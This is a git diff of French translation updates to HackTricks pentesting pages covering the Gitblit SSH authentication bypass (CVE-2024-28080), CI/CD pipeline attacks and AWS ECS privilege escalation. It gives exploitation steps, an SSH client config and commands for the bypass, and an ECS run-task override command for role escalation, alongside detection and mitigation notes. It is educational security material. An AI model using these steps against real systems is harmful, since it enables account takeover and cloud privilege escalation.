mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-28 07:44:24 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
@@ -1,10 +1,10 @@
|
||||
# Sécurité Gitblit
|
||||
# Sécurité de Gitblit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Qu'est-ce que Gitblit
|
||||
|
||||
Gitblit est un serveur Git auto-hébergé écrit en Java. Il peut fonctionner comme un JAR autonome ou dans des conteneurs de servlet et inclut un service SSH intégré (Apache MINA SSHD) pour Git over SSH.
|
||||
Gitblit est un serveur Git auto‑hébergé écrit en Java. Il peut fonctionner comme un JAR autonome ou dans des conteneurs servlet et intègre un service SSH embarqué (Apache MINA SSHD) pour Git over SSH.
|
||||
|
||||
## Sujets
|
||||
|
||||
|
||||
@@ -4,36 +4,36 @@
|
||||
|
||||
## Résumé
|
||||
|
||||
CVE-2024-28080 est un contournement d'authentification dans le service SSH embarqué de Gitblit dû à une gestion incorrecte de l'état de session lors de l'intégration avec Apache MINA SSHD. Si un compte utilisateur a au moins une clé publique SSH enregistrée, un attaquant qui connaît le nom d'utilisateur et l'une des clés publiques de cet utilisateur peut s'authentifier sans la clé privée et sans le mot de passe.
|
||||
CVE-2024-28080 est un contournement d'authentification dans le service SSH embarqué de Gitblit dû à une gestion incorrecte de l'état de session lors de l'intégration avec Apache MINA SSHD. Si un compte utilisateur possède au moins une clé publique SSH enregistrée, un attaquant qui connaît le nom d'utilisateur et l'une des clés publiques de cet utilisateur peut s'authentifier sans la clé privée et sans le mot de passe.
|
||||
|
||||
- Affectés : Gitblit < 1.10.0 (observé sur 1.9.3)
|
||||
- Affecté : Gitblit < 1.10.0 (observé sur 1.9.3)
|
||||
- Corrigé : 1.10.0
|
||||
- Conditions requises pour l'exploitation :
|
||||
- Conditions nécessaires pour exploiter :
|
||||
- Git over SSH activé sur l'instance
|
||||
- Le compte victime a au moins une clé publique SSH enregistrée dans Gitblit
|
||||
- L'attaquant connaît le nom d'utilisateur de la victime et l'une de ses clés publiques (souvent découvrable, par ex. https://github.com/<username>.keys)
|
||||
- L'attaquant connaît le nom d'utilisateur de la victime et l'une de ses clés publiques (souvent découvrable, p.ex. https://github.com/<username>.keys)
|
||||
|
||||
## Cause principale (state leaks between SSH methods)
|
||||
## Cause racine (state leaks between SSH methods)
|
||||
|
||||
Dans le RFC 4252, l'authentification par clé publique se déroule en deux phases : le serveur vérifie d'abord si une clé publique fournie est acceptable pour un nom d'utilisateur, et ce n'est qu'après un challenge/response avec une signature qu'il authentifie l'utilisateur. Dans MINA SSHD, le PublickeyAuthenticator est invoqué deux fois : lors de l'acceptation de la clé (pas encore de signature) et plus tard après que le client renvoie une signature.
|
||||
Dans la RFC 4252, l'authentification par clé‑publique se déroule en deux phases : le serveur vérifie d'abord si une clé publique fournie est acceptable pour un nom d'utilisateur, et ce n'est qu'après un challenge/réponse avec une signature qu'il authentifie l'utilisateur. Dans MINA SSHD, le PublickeyAuthenticator est invoqué deux fois : lors de l'acceptation de la clé (pas encore de signature) et plus tard après que le client renvoie une signature.
|
||||
|
||||
Le PublickeyAuthenticator de Gitblit modifiait le contexte de session lors du premier appel pré‑signature en liant le UserModel authentifié à la session et en renvoyant true ("key acceptable"). Lorsque l'authentification revenait ensuite au mot de passe, le PasswordAuthenticator faisait confiance à cet état de session muté et court‑circuitait, renvoyant true sans valider le mot de passe. En conséquence, tout mot de passe (y compris vide) était accepté après une précédente "acceptance" par clé publique pour le même utilisateur.
|
||||
Le PublickeyAuthenticator de Gitblit a muté le contexte de session lors du premier appel pré‑signature en liant le UserModel authentifié à la session et en retournant true ("key acceptable"). Lorsque l'authentification est ensuite retombée sur le mot de passe, le PasswordAuthenticator s'est fié à cet état de session muté et a court‑circuité, retournant true sans valider le mot de passe. En conséquence, n'importe quel mot de passe (y compris vide) était accepté après une "acceptation" préalable par clé‑publique pour le même utilisateur.
|
||||
|
||||
Flux général défaillant :
|
||||
Flux défaillant (haut niveau) :
|
||||
|
||||
1) Le client propose le nom d'utilisateur + la clé publique (pas encore de signature)
|
||||
2) Le serveur reconnaît que la clé appartient à l'utilisateur et attache prématurément l'utilisateur à la session, renvoie true ("acceptable")
|
||||
3) Le client ne peut pas signer (pas de clé privée), donc l'authentification bascule sur le mot de passe
|
||||
4) L'authentification par mot de passe voit un utilisateur déjà présent dans la session et renvoie le succès sans condition
|
||||
1) Le client propose nom d'utilisateur + clé publique (pas encore de signature)
|
||||
2) Le serveur reconnaît que la clé appartient à l'utilisateur et attache prématurément l'utilisateur à la session, retourne true ("acceptable")
|
||||
3) Le client ne peut pas signer (pas de clé privée), donc l'authentification retombe sur le mot de passe
|
||||
4) L'authentification par mot de passe voit un utilisateur déjà présent dans la session et renvoie inconditionnellement le succès
|
||||
|
||||
## Exploitation pas à pas
|
||||
|
||||
- Récupérer le nom d'utilisateur de la victime et l'une de ses clés publiques :
|
||||
- Recueillir le nom d'utilisateur d'une victime et l'une de ses clés publiques :
|
||||
- GitHub expose les clés publiques à https://github.com/<username>.keys
|
||||
- Les serveurs publics exposent souvent authorized_keys
|
||||
- Configurer OpenSSH pour ne présenter que la partie publique afin que la génération de signature échoue, forçant un repli sur le mot de passe tout en déclenchant néanmoins le chemin d'acceptation par clé publique sur le serveur.
|
||||
- Configurer OpenSSH pour ne présenter que la moitié publique afin que la génération de signature échoue, forçant un retour arrière vers le mot de passe tout en déclenchant quand même le chemin d'acceptation par clé‑publique sur le serveur.
|
||||
|
||||
Exemple de configuration client SSH (pas de clé privée disponible) :
|
||||
Example SSH client config (no private key available):
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
@@ -50,46 +50,46 @@ ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
L'authentification réussit parce que la phase précédente de public‑key a muté l'état de session en celui d'un utilisateur authentifié, et password auth fait incorrectement confiance à cet état.
|
||||
|
||||
Remarque : Si ControlMaster multiplexing est activé dans votre SSH config, les commandes Git suivantes peuvent réutiliser la connexion authentifiée, augmentant l'impact.
|
||||
Note : Si le ControlMaster multiplexing est activé dans la configuration SSH, les commandes Git suivantes peuvent réutiliser la connexion authentifiée, augmentant l'impact.
|
||||
|
||||
## Impact
|
||||
|
||||
- Usurpation complète de n'importe quel utilisateur Gitblit disposant d'au moins une public key SSH enregistrée
|
||||
- Accès en lecture/écriture aux repositories selon les permissions de la victime (exfiltration de source, pushes non autorisés, risques pour la supply‑chain)
|
||||
- Impact administratif potentiel si l'on cible un admin user
|
||||
- Exploit purement réseau ; aucun brute force ni private key requis
|
||||
- Usurpation complète de n'importe quel utilisateur Gitblit disposant d'au moins une SSH public key enregistrée
|
||||
- Accès en lecture/écriture aux repositories selon les permissions de la victime (exfiltration de code source, pushes non autorisés, risques pour la chaîne d'approvisionnement)
|
||||
- Impact administratif possible si un utilisateur admin est ciblé
|
||||
- Exploit purement réseau ; pas de brute force ni de private key requis
|
||||
|
||||
## Detection ideas
|
||||
## Idées de détection
|
||||
|
||||
- Examinez les logs SSH pour des séquences où une tentative publickey est suivie d'une authentification password réussie avec un mot de passe vide ou très court
|
||||
- Recherchez des flux : méthode publickey offrant du key material non supporté/non correspondant suivie d'un succès password immédiat pour le même username
|
||||
- Passer en revue les logs SSH pour des séquences où une tentative publickey est suivie d'une authentification password réussie avec un mot de passe vide ou très court
|
||||
- Rechercher des flux : la méthode publickey propose un matériel de clé non pris en charge/incompatible suivi d'un succès immédiat de password pour le même nom d'utilisateur
|
||||
|
||||
## Mitigations
|
||||
## Atténuations
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
- Mettre à jour vers Gitblit v1.10.0+
|
||||
- Jusqu'à la mise à jour :
|
||||
- Désactiver Git over SSH sur Gitblit, ou
|
||||
- Restreindre l'accès réseau au service SSH, et
|
||||
- Surveiller les schémas suspects décrits ci‑dessus
|
||||
- Réinitialiser les identifiants des utilisateurs affectés si une compromission est suspectée
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
## Général : abus du state‑leakage des méthodes d'auth SSH (services basés sur MINA/OpenSSH)
|
||||
|
||||
Pattern: Si l'authentificateur public‑key d'un serveur modifie l'état user/session durant la phase pré‑signature "key acceptable" et que d'autres authenticators (par ex., password) font confiance à cet état, vous pouvez bypass l'authentification en :
|
||||
Modèle : Si l'authenticator public‑key d'un serveur modifie l'état user/session pendant la phase pré‑signature "key acceptable" et que d'autres authenticators (p.ex. password) font confiance à cet état, vous pouvez contourner l'authentification en :
|
||||
|
||||
- Présentant une public key légitime pour l'utilisateur cible (sans private key)
|
||||
- Présentant une public key légitime pour l'utilisateur cible (pas de private key)
|
||||
- Forçant le client à échouer la signature pour que le serveur retombe sur password
|
||||
- Fournissant n'importe quel password pendant que le password authenticator court‑circuite sur l'état leak
|
||||
- Fournissant n'importe quel password pendant que le password authenticator court‑circuite sur l'état leaked
|
||||
|
||||
Practical tips:
|
||||
Conseils pratiques :
|
||||
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
- Forcer l'échec de signature (côté client) : pointer IdentityFile vers uniquement le .pub, définir IdentitiesOnly yes, garder PreferredAuthentications pour inclure publickey puis password
|
||||
- MINA SSHD integration pitfalls :
|
||||
- PublickeyAuthenticator.authenticate(...) ne doit pas attacher l'état user/session tant que le chemin de vérification post‑signature ne confirme la signature
|
||||
- PasswordAuthenticator.authenticate(...) ne doit pas inférer le succès à partir d'un état muté pendant une méthode d'authentification antérieure incomplète
|
||||
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Méthodologie de Pentesting CI/CD
|
||||
# Pentesting CI/CD Méthodologie
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, ce système permet aux développeurs de **gérer leur source code**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur une des **platforms** suivantes :
|
||||
VCS signifie **Version Control System**, ce système permet aux développeurs de **gérer leur source code**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur l'une des **platforms** suivantes :
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,86 +18,86 @@ VCS stands for **Version Control System**, ce système permet aux développeurs
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
Les pipelines CI/CD permettent aux développeurs d'**automatiser l'exécution du code** pour différents objectifs, notamment la construction, les tests et le déploiement des applications. Ces workflows automatisés sont **déclenchés par des actions spécifiques**, comme des pushes de code, des pull requests ou des tâches planifiées. Ils servent à rationaliser le processus du développement vers la production.
|
||||
Les CI/CD pipelines permettent aux développeurs d'**automatiser l'exécution du code** pour diverses finalités : build, tests et déploiement d'applications. Ces workflows automatisés sont **déclenchés par des actions spécifiques**, comme des pushes, pull requests ou tâches planifiées. Ils servent à rationaliser le processus du développement vers la production.
|
||||
|
||||
Cependant, ces systèmes doivent être **exécutés quelque part** et généralement avec des **identifiants privilégiés pour déployer le code ou accéder à des informations sensibles**.
|
||||
Cependant, ces systèmes doivent être **exécutés quelque part** et le plus souvent avec des **privileged credentials pour déployer du code ou accéder à des informations sensibles**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Même si certaines plateformes VCS permettent de créer des pipelines, pour cette section nous allons analyser uniquement les attaques potentielles visant le contrôle du source code.
|
||||
> Même si certaines VCS platforms permettent de créer des pipelines, pour cette section nous allons analyser uniquement les attaques potentielles visant le contrôle du source code.
|
||||
|
||||
Les platforms qui contiennent le source code de votre projet renferment des informations sensibles et il faut être très prudent avec les permissions accordées sur cette platform. Voici quelques problèmes courants sur les platforms VCS que des attaquants pourraient exploiter :
|
||||
Les platforms qui contiennent le source code de votre projet renferment des informations sensibles ; il faut donc être très vigilant sur les permissions accordées au sein de cette platform. Voici quelques problèmes communs sur les VCS que les attaquants peuvent exploiter :
|
||||
|
||||
- **Leaks** : Si votre code contient des leaks dans les commits et que l'attaquant peut accéder au repo (parce qu'il est public ou parce qu'il a accès), il pourrait découvrir ces leaks.
|
||||
- **Access** : Si un attaquant peut **accéder à un compte sur la platform VCS** il pourrait obtenir **plus de visibilité et de permissions**.
|
||||
- **Register** : Certaines platforms permettent simplement à des utilisateurs externes de créer un compte.
|
||||
- **SSO** : Certaines platforms n'autoriseront pas les enregistrements, mais permettront à quiconque d'accéder avec un SSO valide (donc un attaquant pourrait utiliser son compte github pour entrer par exemple).
|
||||
- **Credentials** : Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... il existe plusieurs types de tokens qu'un utilisateur pourrait voler pour accéder d'une manière ou d'une autre à un repo.
|
||||
- **Webhooks** : Les platforms VCS permettent de générer des webhooks. S'ils ne sont **pas protégés** par des secrets non visibles, un **attaquant pourrait en abuser**.
|
||||
- Si aucun secret n'est en place, l'attaquant pourrait abuser du webhook de la third party platform
|
||||
- Si le secret est dans l'URL, il en va de même et l'attaquant possède aussi le secret
|
||||
- **Compromission du code :** Si un acteur malveillant a un certain type d'**accès en écriture** sur les repos, il pourrait tenter **d'injecter du code malveillant**. Pour réussir, il pourrait devoir **bypasser les branch protections**. Ces actions peuvent être réalisées dans différents objectifs :
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: Si un attaquant peut **accéder à un compte dans la VCS platform** il peut obtenir **plus de visibilité et de permissions**.
|
||||
- **Register**: Certaines platforms permettent simplement à des utilisateurs externes de créer un compte.
|
||||
- **SSO**: Certaines platforms n'autorisent pas l'inscription, mais permettent l'accès via un SSO valide (un attaquant pourrait par exemple utiliser son compte github).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... il existe plusieurs types de tokens qu'un utilisateur peut voler pour accéder d'une manière ou d'une autre à un repo.
|
||||
- **Webhooks**: Les VCS platforms permettent de générer des webhooks. S'ils ne sont **pas protégés** par des secrets non visibles, un **attaquant peut les abuser**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** Si un acteur malveillant dispose d'un **accès en write** sur les repos, il peut tenter d'**injecter du code malveillant**. Pour réussir, il devra parfois **bypass branch protections**. Ces actions peuvent viser différents objectifs :
|
||||
- Compromettre la branche principale pour **compromettre la production**.
|
||||
- Compromettre la branche principale (ou d'autres branches) pour **compromettre les machines des développeurs** (car ils exécutent souvent des tests, terraform ou autres choses dans le repo sur leurs machines).
|
||||
- Compromettre la branche principale (ou d'autres branches) pour **compromettre les machines des développeurs** (car ils exécutent souvent des tests, terraform ou d'autres choses depuis le repo sur leurs machines).
|
||||
- **Compromettre le pipeline** (voir section suivante)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
La façon la plus courante de définir un pipeline est d'utiliser un **CI configuration file hébergé dans le repository** que le pipeline construit. Ce fichier décrit l'ordre des jobs exécutés, les conditions qui affectent le flux, et les paramètres de l'environnement de build.\
|
||||
Ces fichiers ont typiquement un nom et un format constants, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML de GitHub Actions situés sous .github/workflows. Lorsqu'il est déclenché, le job du pipeline **récupère le code** depuis la source sélectionnée (p.ex. commit / branch), et **exécute les commandes spécifiées dans le CI configuration file** contre ce code.
|
||||
La manière la plus courante de définir un pipeline est d'utiliser un **CI configuration file hébergé dans le repository** que le pipeline build. Ce fichier décrit l'ordre des jobs exécutés, les conditions qui affectent le flux et les settings de l'environnement de build.\
|
||||
Ces fichiers ont typiquement un nom et un format cohérents, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML GitHub Actions situés sous .github/workflows. Lorsqu'il est déclenché, le job du pipeline **pulls the code** depuis la source sélectionnée (ex. commit / branch), et **exécute les commandes spécifiées dans le CI configuration file** contre ce code.
|
||||
|
||||
Par conséquent, l'objectif ultime de l'attaquant est d'une manière ou d'une autre de **compromettre ces fichiers de configuration** ou les **commandes qu'ils exécutent**.
|
||||
L'objectif ultime de l'attaquant est donc de **compromettre ces fichiers de configuration** ou les **commandes qu'ils exécutent**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Le chemin Poisoned Pipeline Execution (PPE) exploite les permissions dans un repository SCM pour manipuler un pipeline CI et exécuter des commandes malveillantes. Des utilisateurs disposant des permissions nécessaires peuvent modifier les CI configuration files ou d'autres fichiers utilisés par le job du pipeline pour inclure des commandes malveillantes. Cela "empoisonne" le pipeline CI, conduisant à l'exécution de ces commandes malveillantes.
|
||||
Le chemin Poisoned Pipeline Execution (PPE) exploite des permissions dans un SCM repository pour manipuler un CI pipeline et exécuter des commandes malveillantes. Des utilisateurs disposant des permissions nécessaires peuvent modifier les CI configuration files ou d'autres fichiers utilisés par le job du pipeline pour y inclure des commandes malveillantes. Cela "empoisonne" le CI pipeline, provoquant l'exécution de ces commandes.
|
||||
|
||||
Pour qu'un acteur malveillant réussisse une attaque PPE, il doit être capable de :
|
||||
|
||||
- Avoir **un accès en écriture sur la platform VCS**, car généralement les pipelines sont déclenchés lorsqu'un push ou une pull request est effectué. (Consultez la VCS pentesting methodology pour un résumé des façons d'obtenir cet accès).
|
||||
- Notez que parfois un **PR externe compte comme un "accès en écriture"**.
|
||||
- Même s'il a des permissions d'écriture, il doit s'assurer qu'il peut **modifier le CI config file ou d'autres fichiers dont le config dépend**.
|
||||
- Pour cela, il pourrait devoir **contourner les branch protections**.
|
||||
- Avoir **write access to the VCS platform**, car les pipelines sont généralement déclenchés lors d'un push ou d'un pull request. (Voir la VCS pentesting methodology pour un résumé des moyens d'obtenir cet accès).
|
||||
- Notez que parfois une **external PR compte comme "write access"**.
|
||||
- Même avec des permissions de write, il doit s'assurer de pouvoir **modifier le CI config file ou d'autres fichiers sur lesquels le config s'appuie**.
|
||||
- Pour cela, il peut être nécessaire de **bypass branch protections**.
|
||||
|
||||
Il existe 3 variantes de PPE :
|
||||
|
||||
- **D-PPE** : Une attaque **Direct PPE** se produit lorsque l'acteur **modifie le CI config** file qui va être exécuté.
|
||||
- **I-DDE** : Une attaque **Indirect PPE** se produit lorsque l'acteur **modifie** un **fichier** sur lequel le CI config file qui va être exécuté **s'appuie** (comme un make file ou une configuration terraform).
|
||||
- **Public PPE or 3PE** : Dans certains cas, les pipelines peuvent être **déclenchés par des utilisateurs qui n'ont pas d'accès en écriture dans le repo** (et qui peuvent ne pas faire partie de l'organisation) parce qu'ils peuvent envoyer un PR.
|
||||
- **3PE Command Injection** : D'habitude, les pipelines CI/CD vont **définir des variables d'environnement** avec **des informations sur le PR**. Si cette valeur peut être contrôlée par un attaquant (comme le titre du PR) et est **utilisée** dans un **endroit dangereux** (comme l'exécution de **sh commands**), un attaquant pourrait **y injecter des commandes**.
|
||||
- **D-PPE**: Une attaque **Direct PPE** se produit lorsque l'acteur **modifie le CI config** file qui va être exécuté.
|
||||
- **I-DDE**: Une attaque **Indirect PPE** se produit lorsque l'acteur **modifie** un **file** sur lequel le CI config file qui va être exécuté **se repose** (par exemple un make file ou un terraform config).
|
||||
- **Public PPE or 3PE**: Dans certains cas, les pipelines peuvent être **déclenchés par des users qui n'ont pas de write access in the repo** (et qui peuvent ne même pas faire partie de l'org) parce qu'ils peuvent envoyer un PR.
|
||||
- **3PE Command Injection**: Habituellement, les pipelines CI/CD vont **set des environment variables** avec **des informations sur le PR**. Si cette valeur peut être contrôlée par un attaquant (comme le title du PR) et est **utilisée** dans un **endroit dangereux** (par ex. l'exécution de **sh commands**), un attaquant peut **injecter des commandes**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaquant pourrait obtenir après une exploitation réussie :
|
||||
En connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaquant peut obtenir après une exploitation réussie :
|
||||
|
||||
- **Secrets** : Comme mentionné précédemment, les pipelines requièrent des **privilèges** pour leurs jobs (récupérer le code, le builder, le déployer...) et ces privilèges sont généralement **fourni via des secrets**. Ces secrets sont habituellement accessibles via des **env variables ou des fichiers dans le système**. Par conséquent, un attaquant tentera toujours d'exfiltrer autant de secrets que possible.
|
||||
- Selon la plateforme de pipeline, l'attaquant **pourrait devoir spécifier les secrets dans le config**. Cela signifie que si l'attaquant ne peut pas modifier la configuration du pipeline (**I-PPE** par exemple), il pourrait **seulement exfiltrer les secrets dont dispose ce pipeline**.
|
||||
- **Capacité de calcul** : Le code est exécuté quelque part ; selon l'endroit d'exécution, un attaquant pourrait être capable de pivoter plus loin.
|
||||
- **Sur site** : Si les pipelines sont exécutés sur site, un attaquant pourrait se retrouver dans un **réseau interne avec accès à plus de ressources**.
|
||||
- **Cloud** : L'attaquant pourrait accéder **à d'autres machines dans le cloud** mais aussi pourrait **exfiltrer** des tokens d'IAM roles/service accounts **afin d'obtenir un accès additionnel dans le cloud**.
|
||||
- **Machines de la plateforme** : Parfois les jobs seront exécutés à l'intérieur des machines de la platform pipelines, qui sont généralement dans un cloud sans accès additionnel.
|
||||
- **Choisir la cible :** Parfois la **platform pipelines** aura configuré plusieurs machines et si vous pouvez **modifier le CI configuration file** vous pouvez **indiquer où vous voulez exécuter le code malveillant**. Dans cette situation, un attaquant exécutera probablement un reverse shell sur chaque machine possible pour tenter de l'exploiter davantage.
|
||||
- **Compromettre la production** : Si vous êtes à l'intérieur du pipeline et que la version finale est buildée et déployée depuis celui-ci, vous pourriez **compromettre le code qui finira par tourner en production**.
|
||||
- **Secrets**: Comme mentionné précédemment, les pipelines requièrent des **privileges** pour leurs jobs (récupérer le code, le builder, le déployer...) et ces privileges sont généralement **stockés dans des secrets**. Ces secrets sont souvent accessibles via des **env variables ou des files** sur le système. Un attaquant cherchera donc à exfiltrer un maximum de secrets.
|
||||
- Selon la plateforme de pipeline, l'attaquant **pourrait avoir besoin de spécifier les secrets dans le config**. Cela signifie que si l'attaquant ne peut pas modifier la configuration CI pipeline (**I-PPE** par exemple), il pourrait **seulement exfiltrer les secrets que le pipeline possède**.
|
||||
- **Computation**: Le code est exécuté quelque part ; selon l'endroit d'exécution, un attaquant peut être en mesure de pivot further.
|
||||
- **On-Premises**: Si les pipelines s'exécutent on premises, un attaquant peut se retrouver sur un **réseau interne avec accès à plus de ressources**.
|
||||
- **Cloud**: L'attaquant pourrait accéder **à d'autres machines dans le cloud** mais aussi **exfiltrer** des IAM roles/service accounts **tokens** afin d'obtenir un accès plus large dans le cloud.
|
||||
- **Platforms machine**: Parfois les jobs s'exécutent dans les **machines de la plateforme pipelines**, qui sont généralement dans un cloud et sans accès additionnel.
|
||||
- **Select it:** Parfois la **pipelines platform aura configuré plusieurs machines** et si vous pouvez **modifier le CI configuration file** vous pouvez **indiquer où vous voulez exécuter le code malveillant**. Dans ce cas, un attaquant lancera probablement un reverse shell sur chaque machine possible pour tenter d'exploiter davantage.
|
||||
- **Compromise production**: Si vous êtes dans le pipeline et que la version finale est buildée et déployée depuis celui-ci, vous pouvez **compromettre le code qui finira en production**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre stack de software supply chain pour la conformité de sécurité basé sur un nouveau [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du processus SDLC, où il peut révéler des risques depuis le temps du code jusqu'au temps du déploiement.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre software supply chain stack pour la conformité sécurité, basé sur un nouveau [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du SDLC, et peut révéler des risques depuis le code jusqu'au deploy.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Consultez cet article intéressant sur les top 10 risques CI/CD selon Cider : [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Consultez cet article intéressant sur les top 10 CI/CD risks selon Cider : [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Sur chaque platform que vous pouvez exécuter localement vous trouverez comment le lancer localement afin de le configurer comme vous le souhaitez pour le tester
|
||||
- Sur chaque platform que vous pouvez lancer localement vous trouverez comment la démarrer localement pour la configurer comme vous le souhaitez afin de la tester
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov) : **Checkov** est un outil d'analyse statique de code pour l'infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** est un outil d'analyse statique pour infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Plus d'**info sur ECS** dans:
|
||||
Plus d'informations sur ECS dans :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ Plus d'**info sur ECS** dans:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Un attaquant abusant des permissions `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle task definition** avec un **container malveillant** qui récupère les identifiants des métadonnées et **l'exécuter**.
|
||||
Un attaquant abusant des permissions `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle task definition** avec un **container malveillant** qui vole les credentials metadata et **l'exécuter**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Privesc direct vers un autre rôle ECS.
|
||||
**Impact potentiel:** Privesc direct vers un autre ECS role.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Un attaquant qui possède les permissions `iam:PassRole` et `ecs:RunTask` peut lancer une nouvelle tâche ECS avec un **rôle d'exécution**, un **rôle de tâche** et la **commande** du conteneur modifiés. La commande CLI `ecs run-task` contient l'option `--overrides` qui permet de changer à l'exécution les `executionRoleArn`, `taskRoleArn` et la `command` du conteneur sans toucher à la définition de tâche.
|
||||
Un attaquant disposant des permissions `iam:PassRole` et `ecs:RunTask` peut démarrer une nouvelle tâche ECS en modifiant les valeurs de `execution role`, `task role` et du `container's command`. La commande CLI `ecs run-task` contient le flag `--overrides` qui permet de changer à l'exécution `executionRoleArn`, `taskRoleArn` et le `container's command` sans toucher à la task definition.
|
||||
|
||||
Les rôles IAM spécifiés pour `taskRoleArn` et `executionRoleArn` doivent permettre d'être assumés par `ecs-tasks.amazonaws.com` dans leur politique de confiance.
|
||||
Les rôles IAM spécifiés pour `taskRoleArn` et `executionRoleArn` doivent inclure une trust policy autorisant `ecs-tasks.amazonaws.com` à les assumer.
|
||||
|
||||
De plus, l'attaquant doit connaître :
|
||||
- Nom du cluster ECS
|
||||
- Sous-réseau VPC
|
||||
- Security group (Si aucun security group n'est spécifié, celui par défaut sera utilisé)
|
||||
- Nom et révision de la définition de tâche
|
||||
- Nom du conteneur
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (Si aucun security group n'est spécifié, le security group par défaut sera utilisé)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
Dans l'extrait de code ci‑dessus, un attaquant ne remplace que la valeur `taskRoleArn`. Cependant, l'attaquant doit disposer de l'autorisation `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et sur le `executionRoleArn` spécifié dans la définition de tâche pour que l'attaque puisse se produire.
|
||||
